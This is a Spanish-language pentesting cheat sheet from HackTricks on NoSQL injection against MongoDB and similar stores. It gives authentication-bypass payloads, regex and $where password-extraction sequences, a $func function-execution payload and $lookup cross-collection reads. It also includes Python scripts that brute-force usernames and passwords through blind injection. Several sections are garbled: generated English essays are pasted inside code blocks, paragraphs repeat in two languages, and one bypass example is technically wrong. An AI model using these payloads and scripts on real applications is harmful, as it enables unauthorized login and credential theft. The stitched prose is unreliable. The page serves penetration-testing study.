hacktricks/pentesting-web/nosql-injection.md

# Inyección de NoSQL

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

Las bases de datos NoSQL ofrecen restricciones de consistencia más flexibles que las bases de datos SQL tradicionales. Al requerir menos restricciones relacionales y comprobaciones de consistencia, las bases de datos NoSQL a menudo ofrecen beneficios en rendimiento y escalabilidad. Sin embargo, estas bases de datos aún pueden ser vulnerables a ataques de inyección, incluso si no están utilizando la sintaxis SQL tradicional.

## Explotación

En PHP, puedes enviar un Array cambiando el parámetro enviado de _parameter=foo_ a _parameter\[arrName]=foo._

Los exploits se basan en agregar un **Operador**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Bypass de autenticación básica

**Utilizando no igual ($ne) o mayor ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**

MongoDB is a popular NoSQL database that stores data in a JSON-like format called BSON. While MongoDB is known for its flexibility and scalability, it is not immune to security vulnerabilities. One such vulnerability is NoSQL injection, which is similar to SQL injection but specific to NoSQL databases like MongoDB.

#### **What is NoSQL Injection?**

NoSQL injection is a type of attack where an attacker exploits vulnerabilities in a web application's code to manipulate NoSQL database queries. This can lead to unauthorized access, data leakage, and even remote code execution.

#### **How Does NoSQL Injection Work?**

NoSQL injection works by taking advantage of user input that is not properly sanitized or validated before being used in database queries. Attackers can inject malicious code into the query, which can then be executed by the database.

#### **Example of NoSQL Injection**

Consider the following code snippet:

```javascript
var username = req.body.username;
var password = req.body.password;

db.collection('users').findOne({username: username, password: password}, function(err, user) {
  if (err) throw err;
  if (user) {
    res.send('Login successful');
  } else {
    res.send('Invalid username or password');
  }
});
```

In this example, the code retrieves the `username` and `password` from the request body and uses them in a MongoDB query to find a user in the `users` collection. However, the code does not properly sanitize or validate the input, making it vulnerable to NoSQL injection.

An attacker can exploit this vulnerability by providing a malicious `username` and `password` that can manipulate the query to bypass authentication. For example, by providing the following input:

```
username: {"$ne": null}
password: {"$ne": null}
```

The attacker can trick the query into returning all users in the collection, effectively bypassing the authentication check.

#### **Preventing NoSQL Injection**

To prevent NoSQL injection, it is important to properly sanitize and validate user input before using it in database queries. Here are some best practices to follow:

- Use parameterized queries or prepared statements to ensure that user input is treated as data and not executable code.
- Implement input validation to restrict the type and format of user input.
- Limit the privileges of the database user used by the application to minimize the potential impact of an injection attack.
- Regularly update and patch the database software to protect against known vulnerabilities.

By following these best practices, you can significantly reduce the risk of NoSQL injection vulnerabilities in your web applications.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00
```
### Extraer información de **longitud**

NoSQL injection vulnerabilities can also be exploited to extract information about the length of a database field. This can be useful in certain scenarios where the length of a field is relevant for further exploitation.

To extract the length of a field, you can use the `$where` operator in MongoDB or the `$$WHERE` operator in CouchDB. These operators allow you to execute JavaScript code on the server-side.

For example, in MongoDB, you can use the following payload to extract the length of a field:

```plaintext
db.collection.find({$where: "this.field.length == 10"})
```

In CouchDB, the payload would look like this:

```plaintext
db.view('design_doc/view_name', {keys: [], $$WHERE: "this.field.length == 10"})
```

By changing the length value in the payload, you can determine the exact length of the field. This information can be used to craft further attacks or to gain a better understanding of the data structure.

Keep in mind that extracting the length of a field may not always be possible, as it depends on the specific NoSQL database and its configuration. Additionally, this technique may be limited by the server-side execution timeout, so you may need to adjust the payload accordingly.
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extraer información de **datos**

NoSQL databases are becoming increasingly popular due to their flexibility and scalability. However, they are also vulnerable to injection attacks, similar to SQL injection attacks in traditional relational databases.

Las bases de datos NoSQL están ganando cada vez más popularidad debido a su flexibilidad y escalabilidad. Sin embargo, también son vulnerables a ataques de inyección, similares a los ataques de inyección SQL en bases de datos relacionales tradicionales.

One common type of NoSQL injection is known as **NoSQL query injection**. This occurs when an attacker is able to manipulate a NoSQL query by injecting malicious input. The goal is to manipulate the query in such a way that it retrieves unauthorized data or performs unintended operations.

Un tipo común de inyección NoSQL se conoce como **inyección de consulta NoSQL**. Esto ocurre cuando un atacante puede manipular una consulta NoSQL mediante la inyección de una entrada maliciosa. El objetivo es manipular la consulta de tal manera que recupere datos no autorizados o realice operaciones no deseadas.

To understand how NoSQL query injection works, let's consider an example using a NoSQL database that uses a query language called **MongoDB Query Language (MQL)**. In MQL, queries are constructed using JSON-like syntax.

Para entender cómo funciona la inyección de consulta NoSQL, consideremos un ejemplo utilizando una base de datos NoSQL que utiliza un lenguaje de consulta llamado **MongoDB Query Language (MQL)**. En MQL, las consultas se construyen utilizando una sintaxis similar a JSON.

Suppose we have a web application that uses a NoSQL database to store user information. The application allows users to search for other users by their username. The backend code might construct a query like this:

Supongamos que tenemos una aplicación web que utiliza una base de datos NoSQL para almacenar información de usuarios. La aplicación permite a los usuarios buscar a otros usuarios por su nombre de usuario. El código backend podría construir una consulta como esta:

```javascript
var query = { username: req.query.username };
db.collection('users').find(query);
```

In this example, the `req.query.username` value is directly used in the query without any sanitization or validation. An attacker can take advantage of this by injecting a malicious payload into the `username` parameter.

En este ejemplo, el valor `req.query.username` se utiliza directamente en la consulta sin ninguna sanitización o validación. Un atacante puede aprovechar esto inyectando una carga útil maliciosa en el parámetro `username`.

For example, if the attacker enters the following value as the username:

Por ejemplo, si el atacante ingresa el siguiente valor como nombre de usuario:

```
{ $ne: null }
```

The resulting query would be:

La consulta resultante sería:

```javascript
var query = { username: { $ne: null } };
db.collection('users').find(query);
```

This query retrieves all users whose username is not null, effectively bypassing any authentication or authorization checks.

Esta consulta recupera todos los usuarios cuyo nombre de usuario no es nulo, eludiendo efectivamente cualquier verificación de autenticación o autorización.

To prevent NoSQL injection, it is important to properly sanitize and validate user input before using it in a query. This can be done by using parameterized queries or input validation techniques specific to the NoSQL database being used.

Para prevenir la inyección NoSQL, es importante sanitizar y validar correctamente la entrada del usuario antes de utilizarla en una consulta. Esto se puede hacer utilizando consultas parametrizadas o técnicas de validación de entrada específicas de la base de datos NoSQL que se esté utilizando.

By understanding the risks and implementing proper security measures, you can protect your NoSQL databases from injection attacks and ensure the integrity of your data.

Al comprender los riesgos e implementar medidas de seguridad adecuadas, puede proteger sus bases de datos NoSQL de ataques de inyección y garantizar la integridad de sus datos.
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**

#### **Inyección NoSQL**

La inyección NoSQL es una técnica de hacking que se utiliza para explotar vulnerabilidades en las aplicaciones web que utilizan bases de datos NoSQL, como MongoDB. Al igual que la inyección SQL, la inyección NoSQL permite a un atacante manipular las consultas de la base de datos y obtener información confidencial o realizar acciones no autorizadas.

#### **Cómo funciona la inyección NoSQL**

La inyección NoSQL se aprovecha de las consultas mal construidas o sin validar en las aplicaciones web que utilizan bases de datos NoSQL. Estas consultas suelen estar compuestas por objetos JSON que se pasan como parámetros a la base de datos.

Un atacante puede aprovecharse de la falta de validación de estos objetos JSON para manipular las consultas y obtener acceso no autorizado a la base de datos. Por ejemplo, un atacante puede modificar los valores de los campos de consulta para omitir la autenticación o para obtener información confidencial.

#### **Ejemplo de inyección NoSQL**

Supongamos que una aplicación web utiliza una consulta NoSQL para autenticar a los usuarios:

```javascript
db.users.find({ username: 'admin', password: 'password' })
```

Un atacante podría intentar realizar una inyección NoSQL manipulando los valores de los campos de consulta. Por ejemplo, podría intentar ingresar un valor como `' || 1==1 || '` en el campo de contraseña para omitir la autenticación:

```javascript
db.users.find({ username: 'admin', password: '' || 1==1 || '' })
```

Si la aplicación no valida correctamente los valores de los campos de consulta, la consulta manipulada se ejecutará y el atacante podrá obtener acceso no autorizado a la base de datos.

#### **Cómo prevenir la inyección NoSQL**

Para prevenir la inyección NoSQL, es importante validar y sanitizar todos los datos de entrada que se utilizan en las consultas de la base de datos. Esto incluye la validación de los objetos JSON y la implementación de mecanismos de autenticación y autorización adecuados.

Además, es recomendable utilizar bibliotecas o frameworks que proporcionen funciones seguras para interactuar con la base de datos NoSQL. Estas bibliotecas suelen tener métodos que ayudan a prevenir la inyección NoSQL al escapar o sanitizar automáticamente los datos de entrada.

En resumen, la inyección NoSQL es una técnica de hacking que se utiliza para explotar vulnerabilidades en las aplicaciones web que utilizan bases de datos NoSQL. Para prevenir esta vulnerabilidad, es importante validar y sanitizar todos los datos de entrada y utilizar bibliotecas seguras para interactuar con la base de datos.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
```
### Ejecución Arbitraria de Funciones en PHP

Utilizando el operador **$func** de la biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilizada por defecto), es posible ejecutar una función arbitraria como se muestra en [este informe](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)

### Obtener información de una colección diferente

Es posible utilizar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una **colección diferente** llamada **`users`** y obteniendo los **resultados de todas las entradas** con una contraseña que coincida con un comodín.
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Blind NoSQL
```python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## Cargas útiles de MongoDB

### Introducción

La inyección NoSQL es una técnica de hacking que se utiliza para explotar vulnerabilidades en las bases de datos NoSQL, como MongoDB. A través de la inyección NoSQL, un atacante puede manipular las consultas de la base de datos para obtener información confidencial o realizar acciones no autorizadas.

En este capítulo, exploraremos algunas cargas útiles comunes utilizadas en la inyección NoSQL en MongoDB. Estas cargas útiles se utilizan para aprovechar las debilidades en la validación de entrada y la construcción de consultas en aplicaciones web que utilizan MongoDB como base de datos.

### Cargas útiles de inyección NoSQL

A continuación se presentan algunas cargas útiles comunes utilizadas en la inyección NoSQL en MongoDB:

1. **Carga útil de inyección básica**: esta carga útil se utiliza para verificar si una aplicación es vulnerable a la inyección NoSQL. Se utiliza una consulta maliciosa para intentar obtener información confidencial de la base de datos.

   ```javascript
   { $ne: 1 }
   ```

2. **Carga útil de inyección de comparación**: esta carga útil se utiliza para realizar una inyección NoSQL basada en la comparación. Se aprovecha de la falta de validación en las consultas de comparación para obtener información confidencial.

   ```javascript
   { $gt: "" }
   ```

3. **Carga útil de inyección de operadores lógicos**: esta carga útil se utiliza para realizar una inyección NoSQL utilizando operadores lógicos. Se aprovecha de la falta de validación en las consultas de operadores lógicos para obtener información confidencial.

   ```javascript
   { $where: "this.username.match(/.*/)" }
   ```

4. **Carga útil de inyección de expresiones regulares**: esta carga útil se utiliza para realizar una inyección NoSQL utilizando expresiones regulares. Se aprovecha de la falta de validación en las consultas de expresiones regulares para obtener información confidencial.

   ```javascript
   { username: { $regex: ".*" } }
   ```

### Conclusiones

La inyección NoSQL en MongoDB puede ser una vulnerabilidad grave si no se implementan las medidas de seguridad adecuadas. Es importante comprender las cargas útiles comunes utilizadas en la inyección NoSQL para poder identificar y mitigar estas vulnerabilidades en las aplicaciones web que utilizan MongoDB como base de datos.
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## Herramientas

* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)

### Fuerza bruta para obtener nombres de usuario y contraseñas de inicio de sesión mediante POST

Este es un script simple que podrías modificar, pero las herramientas anteriores también pueden realizar esta tarea.
```python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)
```
## Referencias

* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con facilidad, utilizando las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}